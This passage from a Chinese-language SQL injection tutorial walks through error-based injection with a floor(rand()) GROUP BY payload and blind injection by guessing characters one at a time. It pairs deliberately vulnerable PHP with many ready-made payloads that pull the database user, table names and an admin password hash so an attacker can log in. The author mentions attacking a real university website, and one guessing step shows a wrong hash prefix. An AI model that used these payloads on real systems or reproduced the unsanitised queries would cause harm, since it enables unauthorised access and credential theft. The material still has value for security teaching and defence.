实例4.利用报错信息注入
先简单的说说原理:MySQL中,是不允许将rand()
用于ORDER BY
和GROUP BY
的。一旦使用,就会产生错误。显错注入正是由此产生
很多时候,我们都会将SQL操作进行封装:
<?php
class sql {
private $conn;
public function __construct () {
//略去连接部分
}
public function query ($sql) {
$r=mysqli_query($this->conn,$sql);
if (!$r) {
$this->Error($sql);
}
}
public function Error ($sql) {
echo 'MySQL Error<br>SQL:',$sql,'<br>Errinfo:',mysqli_error($this->conn);
exit;
}
}
?>
这样做确实比前面的几个例子更加规范,也更加适合修改和调试。不过,显错信息却是非常重要的一个信息。现在,我们来试试,php代码同实例1。提交:
article.php?
id=1 AND 1=2 UNION SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b --
此时,页面会提示错误:Duplicate entry '1root@localhost' for key 'group_key'
没错,select user()
被成功执行并且有回显。也就是说,我们将select user()
改为其他查询语句,就可以得到我们希望的结果
PS:有点朋友可能要问,既然有像实例1一样的漏洞,还要显错注入干嘛呢?有的时候,一个参数会带入多个SQL语句查询,其中一个可能合法,但另一个就会不合法,也就不能直接查询出我们需要的结果,因此才有了显错注入。我前些时候日电子科大的站的时候就遇到过(PS:各位可以到WooYun围观,地址:这里)
实例5.盲注
上演示代码,一个验证用户名是否存在的东西:
<?php
require('mysql.php'); //略去连接SQL的部分
$user=$_POST['user'];
$sql="SELECT * FROM `user` WHERE user = '$user'";
$result=mysqli_fetch_array(mysqli_query($conn,$sql));
if ($result) {
echo '用户名已存在';
} else {
echo '用户名不存在';
}
很明显user
是存在注入点的,不过,我们可没办法像之前所举的例子一样进行查询注入或者显错注入了。现在还有一个办法,就是盲注
PS:这里又分了两种情况,一种是我们要得到的数据和原有的语句在同一个表内,一种是没有。因为没有更为复杂,所以我以没有为例
现在来判断表名:admin' and exists(select * from admin) --
如果此句返回了正常,则存在表admin,否则就继续猜吧~(PS:这里是一种通用的做法,也就是适用于MySQL、Access等多种数据库。如果是MySQL,因为其保存了数据库结构、表结构,会更加简单,待会会特别介绍一下)
然后判断字段:admin' and exists(select username from admin) --
。RP不错的话,返回正常,则admin表存在username字段
接下来判断长度(假设我们之前已经确定admin表存在username和password两个字段):admin' and length((select password from admin limit 0,1))=32 --
返回正常,代表password长度为32(多半就是md5加密了)如果返回“不存在”,那就修改32,直到正常为止
接下来再一位一位的判断(PS:此方法在MySQL下是可用的。其他数据库下没有测试。印象中Access不是这种方法):
admin' and left((select password from admin limit 0,1),1)='2' --
admin' and left((select password from admin limit 0,1),2)='21' --
admin' and left((select password from admin limit 0,1),3)='212' --
admin' and left((select password from admin limit 0,1),4)='2123' --
//中间略去N句
admin' and left((select password from admin limit 0,1),31)='21232f297a57a5a743894a0e4a801fc' --
admin' and left((select password from admin limit 0,1),32)='21232f297a57a5a743894a0e4a801f3' --
最后得到密码是21232f297a57a5a743894a0e4a801fc3
,用同样的方法得到username字段的数据,也就可以去登录了
MySQL下我有特别的技巧
MySQL下,可以这样猜解表名:
admin' and length((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1))=5 --
//长度是五位
admin' and left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),1)='a' --
admin' and left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),2)='ad' --
admin' and left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),3)='adm' --
admin' and left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),4)='admi' --
admin' and left((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),5)='admin' --
有些时候,这样会比前面麻烦一点,不过这样盲注成功率是100%,前面纯粹靠脸。猜解字段名的方法类似,只不过是查询information_schema.columns
表,具体结构你可以自己安装个MySQL然后看看
总结
一般情况下,我们更喜欢直接的查询注入,因为最直观。盲注完全是“猜”,RP好可能比普通方法还快,RP差,几个小时都不一定能跑出表名
查询篇基本上就是这些内容了。因为是“浅谈”,所以我没有每个都详细的分析,都是讲的基本情况和方法。WooYun还有关于利用insert,update和delete注入获取数据的文章,有兴趣的朋友可以去看看
最后还是提醒大家:写程序的时候,记得做好过滤。WAF、安全狗什么的,不要太过依赖